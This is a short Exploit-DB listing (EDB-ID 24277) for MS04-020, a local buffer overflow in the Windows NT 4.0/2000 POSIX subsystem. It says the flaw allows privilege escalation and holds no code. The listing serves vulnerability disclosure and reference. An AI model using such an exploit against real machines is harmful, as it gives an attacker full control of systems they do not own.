Microsoft Windows NT 4.0/2000 - POSIX Subsystem Local Buffer Overflow / Local Privilege Escalation (MS04-020)

EDB-ID:

24277

The Microsoft POSIX subsystem implementation is prone to a local buffer overflow vulnerability.

A local attacker may exploit this vulnerability in order to run code with elevated privileges, fully compromising the vulnerable computer.
